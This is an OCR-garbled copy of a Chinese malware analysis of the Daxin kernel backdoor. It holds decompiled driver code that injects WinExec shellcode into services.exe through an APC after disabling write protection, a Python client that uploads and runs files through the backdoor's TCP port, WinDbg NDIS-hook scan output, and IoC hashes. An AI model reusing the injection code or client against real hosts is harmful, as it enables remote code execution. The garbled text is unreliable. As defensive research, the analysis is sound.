Qo0000D0 00 00 OO0 00 00 00 OO0 00 00 Q0 OO 00 00 OO 00 00
QOO000EO 00 00 OO0 00 00 00 00 00 00 00 OO0 00 00 QO 00 00
QO0000F0 00 00 OO0 00 00 00 00 00 00 00 00 00 00 Q0 00 00
00000100 00 00 00 00 00 00 00 00 00 00 00 00

FEE ooh

offset o 1 2 3 4 5 & 7 B8 % A B C D E F ANSI RSCII
Q0000000 00 01 02 03 04 05 06 07 08 0% 0OA OB OC 0D OE OF
0O000010 10 11 12 13 14 15 1s 17 18 1% 1& 1® 1c 1D 1E 1F
00000020 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F IV#S%&T () *4,—./
00000030 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 0123456789:;<=>7
QDO00040 40 41 42 43 44 45 46 47 48 49 4R 4B 4AC 4D 4E AF BABCDEFGHIJELMNO
00000050 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5 5F PQRSTUVWXYZ[4]*
00000060 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F  abcdefghijklmno
00000070 70 71 72 73 74 75 76 77 78 79 JA 7B IC 7D 7E 7F pqrstuvwxyz{|}~
00000080 80 81 82 83 84 85 86 87 68 B9 BA 8E 8C 8D B8E 8F € ,f,.T1 %5<E &
Qo0000%0 90 %1 92 93 %4 95 56 97 98 99 SA SE 9C 9D 9E SF VW Me——~mEup ¥
Q00000R0 AO Al A2 A3 A4 A5 AG A7 K8 A9 AR ABR AC AD AE AF [ &La¥  §T@ «—®
000000BO BO Bl B2 B3 B4 B5 B6 B7 EB BY BA BE BC ED BE BF °“+2° "‘nq - * O»igdsd;
000000C0 ©O Cl1 C2 C3 C4 C5 C6 C7 C8 CY9 CA CB CC CD CE CF AAARAARCREREIfIf
000000D0 DO Dl D2 D3 D4 D5 D6 D7 D8 DY DA DE DC DD DE DF  BRHGOSGS-gUU00TED
00000D0OED EO El EZ E3 E4 ES5 E6 E7 EBS EY EA ER EC ED EE EF AA&4&53xced8Eiiil
00000D0F0 FO F1 F2 F3 F4 F5 F6 F7 FB FY FA FB FC FD FE FF SA006E0el00lyhy

BITEN

TEERENFERBALSEF , @3B services.exe f] EPROCESS X PEB # % kernel32.dlI'WinExec EREIE |, 40
REEHE] , BB Y)IE] WorkerRoutine EREHEEMEBIT , BITIENAHFES EAEH PoolWithTag #H A,
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int _ stdcall Ring3ShellCode_ APCInject(const char *al)

{
PVOID PoolWithTag; // ebx

struct _IO_WORKITEM *WorkItem; // eax

if ( !'Process || !WinExec )
return exCoeoeeel;
PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, ©x1@8u, 'kcaP');
*PoolWithTag = ©;
*(PoolWithTag + 1) = Process;
strcpy(PoolWithTag + 8, al);
WorkItem = IoAllocateWorkItem(DeviceObject);
IoQueueWorkItem(WorkItem, WorkerRoutine, DelayedWorkQueue, PoolWithTag);
return 6x163;

E#4A—1 Ring3 § Shellcode &1 \ WinExec API (i \EL , BEBANEDITHES , ZEFFH APC E
A, 84T Shellcode ,

PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, @x38u, 'kcaP');
v1e = PoolWithTag;
if ( PoolWithTag )
{
Mdl = IoAllocateMdl(Ring3_WinExec_Shellcode_Payload, @x112u, @, @, 8);
::Mdl = Mdl;
if ( mMdl )
{
MmProbeAndLockPages(Mdl, @, IoWriteAccess);
v4d = __readcre();
__writecr@(v4 & OxFFFEFFFF);
*(Ring3_WinExec_Shellcode Payload + 1) = WinExec;
memset(Ring3_WinExec_Shellcode_Payload + ©x12, @, ©x106u);
gmemcpy (Ring3_WinExec_Shellcode_Payload + ©x12, Context + 8, strlen(Context
v5 = __readcre();
__writecr@(v5 | exleeee);
KeAttachProcess(Process);
v6 = MmMaplLockedPagesSpecifyCache(::Mdl, 1, MmCached, ©, @, ©x1@u);
if ( ve )
{
v7 = __readcre();
__writecr@(v7 & OxFFFEFFFF);
v6[2] = v6 + Ox12;
v8 = __readcre();
__writecre(vg | exl1eeee);
KeDetachProcess();
v9 = sub_B2257BF@(*(Context + 1));
*Context = v9;
KeInitializeApc(vle, v9, e, sub_B2257C50, @, v6, 1, 0);
*(dword_B225B99C + *Context + ©x16) = 1;
ExFreePool(Context);
if ( !KeInsertQueueApc(vlie, @, o, @) )
O0001EDF WorkerRoutine:44 (B2257ADF)
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PoC &3\

A[{EE Port , {H TCP EAR WV AREIEHCAK,

poc.py 192.168.222.140 135 upload c:\test.exe z:\winver.exe
poc.py 192.168.222.140 135 exec calc

#!/usr/bin/env python3
import socket

import os

import struct

import argparse

UPLOAD (0x00009910, 0x00000001, 0x00000000)
EXECUTE = (0x00009910, 0x00000002, 0x00000000)

parser = argparse.ArgumentParser()

for _ in ('ip', 'port', 'cmd', 'rfile'):
parser.add_argument(_)

parser.add_argument('1file", nargs='*")

args = parser.parse_args()

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socket.gethostbyname(args.ip), int(args.port)))

if args.cmd == 'exec':
s.send(struct.pack("<3I", *EXECUTE) + args.rfile.encode('ascii') + b'\x00")
elif args.cmd == 'upload':

fn = args.rfile.encode('ascii')
s.send(struct.pack("<3I", *UPLOAD) + fn + b'\x00'*(0x100-1len(fn)))
with open(args.1file[@], 'rb') as f:
s.send(f.read())
s.close()
except socket.error as err:

print("socket error %s" %(err))

{#F SwishDbgExt #Z NDIS Hook

IE#2 7] PAfE A Windbg #M# SwishDbgExt [3] 2K#&&E B BB # Hooking , A] ABEITERIRENEEHERE)
B, BREEIFN , WRBHEUTEERA,

0: kd> !load SwishDbgExt
SwishDbgExt 3.0.20180330.1 - Incident Response & Digital Forensics Debugging Extension
SwishDbgExt Copyright (C) 2016 Comae Technologies FZE
SwishDbgExt Copyright (C) 2014-2016 Matthieu Suiche (@msuiche) - http://msuiche.net
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This program comes with ABSOLUTELY NO WARRANTY; for details type ‘show w'.

This is free software, and you are welcome to redistribute it

under certain conditions; type ‘show c¢' for details.

0: kd> !ms_scanndishook

ndis image: fffffffff7347000-fffffffff7373980
Ndis build: Free
Ndis build date: Apr 13 2008
Ndis build time: 10:50:45
Ndis built by: adubey

Scanning network protocol list...

Scanning network adapter list...

Scanning network binder list...

Scanning network mini-driver list...

E & ntbios.sys 18 , THEHIT .reload /f ERFTELA symbols 1 , HIXFIT !ms_scanndishook , A AR —
HE Protocol handler EMEEM T .

0: kd> .reload /f

0: kd> !ms_scanndishook

ndis image: fffffffff7347000-fffffffff7373980
Ndis build: Free
Ndis build date: Apr 13 2008
Ndis build time: 10:50:45
Ndis built by: adubey

Scanning network protocol list...

Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked
Hooked

handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:
handler:

ResetCompleteHandler (@OxFFFFFFFFEEQ72530) from protocol XFIREWALLL (Rule #2 - "Non-whitelist
WanSendCompleteHandler (@xFFFFFFFFEE@75040) from protocol XFIREWALLL (Rule #2 - "Non-whiteli
SendCompleteHandler (@OxFFFFFFFFEEQ75040) from protocol XFIREWALLL (Rule #2 - "Non-whitelistec
StatusCompleteHandler (@xFFFFFFFFEEQ74620) from protocol XFIREWALLL (Rule #2 - "Non-whitelis
StatusHandler (@xFFFFFFFFEE@74610) from protocol XFIREWALLL (Rule #2 - "Non-whitelisted NDIS
ReceiveHandler (@xFFFFFFFFEEQ74600) from protocol XFIREWALLL (Rule #2 - "Non-whitelisted NDI
ReceivePacketHandler (@xFFFFFFFFEEQ745F@) from protocol XFIREWALLL (Rule #2 - "Non-whitelist
ReceiveCompleteHandler (@xFFFFFFFFEE@74620) from protocol XFIREWALLL (Rule #2 - "Non-whiteli
WanReceiveHandler (OxFFFFFFFFEE@74600) from protocol XFIREWALLL (Rule #2 - "Non-whitelisted

WanTransferDataCompleteHandler (@xFFFFFFFFEEQ74610) from protocol XFIREWALLL (Rule #2 - "Non
TransferDataCompleteHandler (OxFFFFFFFFEEQ74610) from protocol XFIREWALLL (Rule #2 - "Non-wh
(loseAdapterCompleteHandler (@xFFFFFFFFEEQ72EA@) from protocol XFIREWALLL (Rule #2 - "Non-wh
OpenAdapterCompleteHandler (@xFFFFFFFFEEQ72E80) from protocol XFIREWALLL (Rule #2 - "Non-whi
RequestCompleteHandler (@xFFFFFFFFEE@72A70) from protocol XFIREWALLL (Rule #2 - "Non-whiteli
ReceiveHandler (@xFFFFFFFFEEDBD6B5) from protocol TCPIP (Rule #3 - "Function handler detour"
ReceivePacketHandler (@xFFFFFFFFEEDB8800@) from protocol TCPIP (Rule #3 - "Function handler de
WanReceiveHandler (@xFFFFFFFFEEDBD6B5) from protocol TCPIP (Rule #3 - "Function handler deto

Scanning network adapter list...

Scanning network binder list...
Hooked handler: ResetCompleteHandler (@xFFFFFFFFEE@72530) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40B/
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Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
Hooked handler:
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SendCompleteHandler (OxFFFFFFFFEE@75040) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA:
StatusCompleteHandler (@xFFFFFFFFEEQ74620) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40
StatusHandler (OxFFFFFFFFEE@74610) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFDE
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFDE}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFD
ReceiveHandler (@xFFFFFFFFEE@74600) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFD
ReceivePacketHandler (@xFFFFFFFFEEQ745F@) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40B
ReceiveCompleteHandler (OxFFFFFFFFEEQ74620) from binder \DEVICE\{6396853A-1B29-478A-B724-0C4!
RequestCompleteHandler (OxFFFFFFFFEEQ72A70) from binder \DEVICE\{6396853A-1B29-478A-B724-0C4!
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C4@BA3DAFDE}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFD
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{D58EC023-D4D8-4AFF-A598-EACA119196D8}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{D58EC023-D4D8-4AFF-A598-EACA119196D!
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFDE}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFD
ReceiveHandler (@xFFFFFFFFEEDBD6B5) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40BA3DAFD
ReceivePacketHandler (@xFFFFFFFFEEDB880@) from binder \DEVICE\{6396853A-1B29-478A-B724-0C40B
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{090574D5-3AB6-46FD-B541-8608BB450655}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{090574D5-3AB6-46FD-B541-8603BB45065'
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F6}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F¢
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F6}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F¢
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F6}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{502EA784-6402-4E9A-85F5-9670874115F¢
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\NDISWANIP (Rule #3 - "Function handler ¢
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\NDISWANIP (Rule #3 - "Function handl
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A82}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A8
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A82}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A8
SendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A82}
WanSendHandler (@xFFFFFFFFF734787B) from binder \DEVICE\{5277D9CE-C@8B-4B91-8CC8-D1E8A33(3A8

Scanning network mini-driver list...

IoC

file name
APIData.exe
ntbios.sys

ntbios.sys

2%

md5 compiler-stamp (UTC) type
af2d3c1360a93b0862ec8fb72738e1fa 2008-07-18 02:54:24 exe
£242cffd9926c0ccf94af3bf16b6e527 2008-07-18 01:29:43 sys
0ae30291c6cbfa7be39320badd6e8del 2009-03-26 02:44:42 sys
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Source: https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/
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